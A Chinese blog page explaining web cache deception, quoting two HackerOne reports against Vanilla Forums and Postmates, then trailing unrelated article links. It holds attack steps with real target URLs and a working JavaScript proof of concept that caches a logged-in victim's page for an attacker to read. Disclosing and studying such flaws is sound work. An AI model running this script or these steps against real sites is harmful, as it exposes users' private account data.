Web缓存欺骗
class, css, jar, js, jpg, jpeg, gif, ico, png, bmp, pict, csv, doc, docx, xls, xlsx, ps, pdf,
pls, ppt, pptx, tif, tiff, ttf, otf, webp, woff, woff2, svg, svgz, eot, eps, ejs, swf, torrent,
midi, mid
存在漏洞的地址：http://www.xx.com/cc.css位于cdn缓存上，但是访问该css同http://www.xx.com/home.php一样，所以造成了该漏洞
漏洞利用：将http://www.xx.com/cc.css地址发给笑脸用户，用户在上面的操作会留在cdn缓存上，造成了泄漏，这个时候，恶意攻击者访问该用户就造成了，缓存欺骗。
以下为hackone案例，仅供参考，顺便提下，案例二的poc可以进行证明漏洞
Jun 2nd (8 months ago)
I have found a Vulnerability in vanilla forums which called Web cache deception attack.
Web Cache Deception Attack
Websites often tend to use web cache functionality to store files that are often retrieved, to reduce latency from the web server.
Websites often tend to use web cache functionality (for example over a CDN, a load balancer, or simply a reverse proxy). The purpose is simple: store files that are often retrieved, to reduce latency from the web server.
When accessing a URL like http://www.example.com/home.php/non-existent.css
A GET request to that URL will be produced by the browser. The server returns the content of http://www.example.com/home.php. And yes, the URL remains http://www.example.com/home.php/non-existent.css. The HTTP headers will be the same as for accessing http://www.example.com/home.php directly: same caching headers and same content type (text/html, in this case).
The web cache servre saves the returned page in the server's cache. Then the attacker can go to the url: http://www.example.com/home.php/non-existent.css and the page of the victim will be presented with the victim's sensitive information (The page content).
The dangerous part in this attack, unlike phishing attacks, is that the url isn't looks suspicious at all. It looks like a normal url from the original website, so the victim thinks that it is ok to click on the link.
Steps:
- The attacker sends the following link to the victim: https://open.vanillaforums.com/messages/all/non-existent.css
- The victim opens the link and the inbox page will be loaded normally. (The web cache server then saves this page)
- The attacker open the same link (https://open.vanillaforums.com/messages/all/non-existent.css), and the inbox page of the victim with all his private contant is loaded.
If you need a video to understand it better, ask me and I will send you one.
Impact
The attacker can achieve all the private content of a specific victim, without the victim knowing about it.
二：
Hello,
Your Web-Server is vulnerable to web cache poisoning attacks.
This means, that the attacker are able to get another user informations.
If you are logged in and visit this website (For example):
https://postmates.com/SomeRandomText.css
Then the server will store the information in the cache, BUT with the logged in user information :)
A non-logged-in user can then visit this website and see the information contained therein.
In that case, this url: https://postmates.com/SomeRandomText.css
I have written a small javascript / html code, which executes this attack fully automated, you just need to visit the website and wait like 3 seconds.
Here is the small PoC code
<html>
<head>
</head>
<body>
<script>
var cachedUrl = 'https://postmates.com/' + generateId() + '.css';
const popup = window.open(cachedUrl);
function generateId() {
var content = '';
const alphaWithNumber = 'QWERTZUIOPASDFGHJUKLYXCVBNM1234567890';
for (var i = 0; i < 10; i++) {
content += alphaWithNumber.charAt(Math.floor(Math.random() * alphaWithNumber.length))
}
return content;
}
var checker = setInterval(function() {
if (popup.closed) {
clearInterval(checker);
}
}, 200);
var closer = setInterval(function() {
popup.close();
document.body.innerHTML = 'Victims content is now cached <a href="' + cachedUrl + '">here and the url can be saved on the hackers server</a><br><b>Full Url: ' + cachedUrl + '</b>';
clearInterval(closer);
}, 3000);
</script>
</body>
</html>
Theoretically, the attacker could then store this information on his server, but in this example, the URL is simply shown.
I would suggest keeping an eye on caching for more security and hope you enjoyed my report.
Some informations about the attack:
https://www.blackhat.com/docs/us-17/wednesday/us-17-Gil-Web-Cache-Deception-Attack.pdf
The screenshots with the steps are in the attachments
Not important for this report, but i want to look deeper in your website: Can you create an account for me? Im from Germany and dont have american phone number :)
Impact
Web cache poisoning attack can be used to steal user informations like lastname and member id which is important for the login security feature. (For example)
Web缓存欺骗的更多相关文章
- 【转】一种新型的Web缓存欺骗攻击技术
为了减少WEB响应时延并减小WEB服务器负担,现在WEB缓存技术已经用的非常普遍了,除了专门的CDN,负载均衡以及反向代理现在也会缓存一部分的网页内容.这里我要介绍一种WEB缓存欺骗攻击技术,这种攻击 ...
- 作为前端应当了解的Web缓存知识
缓存优点 通常所说的Web缓存指的是可以自动保存常见http请求副本的http设备.对于前端开发者来说,浏览器充当了重要角色.除此外常见的还有各种各样的代理服务器也可以做缓存.当Web请求到达缓存时, ...
- Web缓存杂谈
一.概述 缓存通俗点,就是将已经得到的‘东东’存放在一个相对于自己而言,尽可能近的地方,以便下次需要时,不会再二笔地跑到起始点(很远的地方)去获取,而是就近解决,从而缩短时间和节约金钱(坐车要钱嘛). ...
- 前端应当了解的Web缓存知识
缓存优点 通常所说的Web缓存指的是可以自动保存常见http请求副本的http设备.对于前端开发者来说,浏览器充当了重要角色.除此外常见的还有各种各样的代理服务器也可以做缓存.当Web请求到达缓存时, ...
- 浅谈Web缓存
在前端开发中性能一直都是被大家所重视的一点,然后判断一个网站的性能最直观的就是看网页打开的速度. 其中提高网页反应的速度的一个方式就是使用缓存.一个优秀的缓存策略可以缩短网页请求资源的距离,减少延迟, ...
- web缓存
web缓存HTTP协议的一个核心特性,它能最小化网络流量,并且提升用户所感知的整个系统响应速度. 什么能被缓存? *Logo和商标图像 *普通的不变化的图像(例如,导航图标) *CSS样式表 *普通的 ...
- Web 技术人员需知的 Web 缓存知识(转)
最近的译文距今已有4年之久,原文有一定的更新.今天踩着前辈们的肩膀,再次把这篇文章翻译整理下.一来让自己对web缓存的理解更深刻些,二来让大家注意力稍稍转移下,不要整天HTML5, 面试题啊叨啊叨的~ ...
- c# web 缓存管理
using System; using System.Collections; using System.Text.RegularExpressions; using System.Web; usin ...
- HTML5时代的Web缓存机制
HTML5 之离线应用Manifest 我们知道,使用传统的技术,就算是对站点的资源都实施了比较好的缓存策略,但是在断网的情况下,是无法访问的,因为入口的HTML页面我们一般运维的考虑,不会对其进行缓 ...
随机推荐
- win10 安装Maven
1.将apache-maven-3.0.5-bin.zip解压到指定目录(最好不要有中文字符) 2.配MAVEN_HOME 3.验证是否安装成功 代开cmd窗口 mvn -v 4.修改本地仓库位置 ...
- TCP 可靠传输
TCP报文段首部 序号: TCP是面向字节流的.在一个TCP连接中传送的字节流中的每一个字节都按顺序编号.整个要传送的字节流的起始序号必须在连接建立时设置.首部中的序号字段值则指的是本报文段所发送的数 ...
- Java——SSM整合所需的Maven配置文件
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://mave ...
- E. Sasha and Array 矩阵快速幂 + 线段树
E. Sasha and Array 这个题目没有特别难,需要自己仔细想想,一开始我想了一个方法,不对,而且还很复杂,然后lj提示了我一下说矩阵乘,然后再仔细想想就知道怎么写了. 这个就是直接把矩阵放 ...
- gather函数
gather(input, dim, index):根据 index,在 dim 维度上选取数据,输出的 size 与 index 一致 # input (Tensor) – 源张量 # ...
- vue render 中遇到的问题
以后遇到问题会持续更新 1 render中 判断是否显示 2 render中 属性可以通过判断的形式显示
- 08JAVA基础关键字(final、static)以及抽象类和接口
一.关键字 1.final 修饰类 修饰变量 修饰成员方法 该类为最终类,不能被继承 该变量为常量 该成员方法不能被重写 2.static (1).生命周期 随着类的加载而加载 (2).特点 被本类所 ...
- 力扣题解-面试题22. 链表中倒数第K个节点
题目描述 输入一个链表,输出该链表中倒数第k个节点.为了符合大多数人的习惯,本题从1开始计数,即链表的尾节点是倒数第1个节点.例如,一个链表有6个节点,从头节点开始,它们的值依次是1.2.3.4.5. ...
- Sentinel源码解析二（Slot总览）
写在前面 本文继续来分析Sentinel的源码,上篇文章对Sentinel的调用过程做了深入分析,主要涉及到了两个概念:插槽链和Node节点.那么接下来我们就根据插槽链的调用关系来依次分析每个插槽(s ...
- 微信小程序var和let以及const有什么区别
微信小程序var和let以及const的区别: 在JavaScript中有三种声明变量的方式:var.let.const. var:声明全局变量,换句话理解就是,声明在for循环中的变量,跳出for循 ...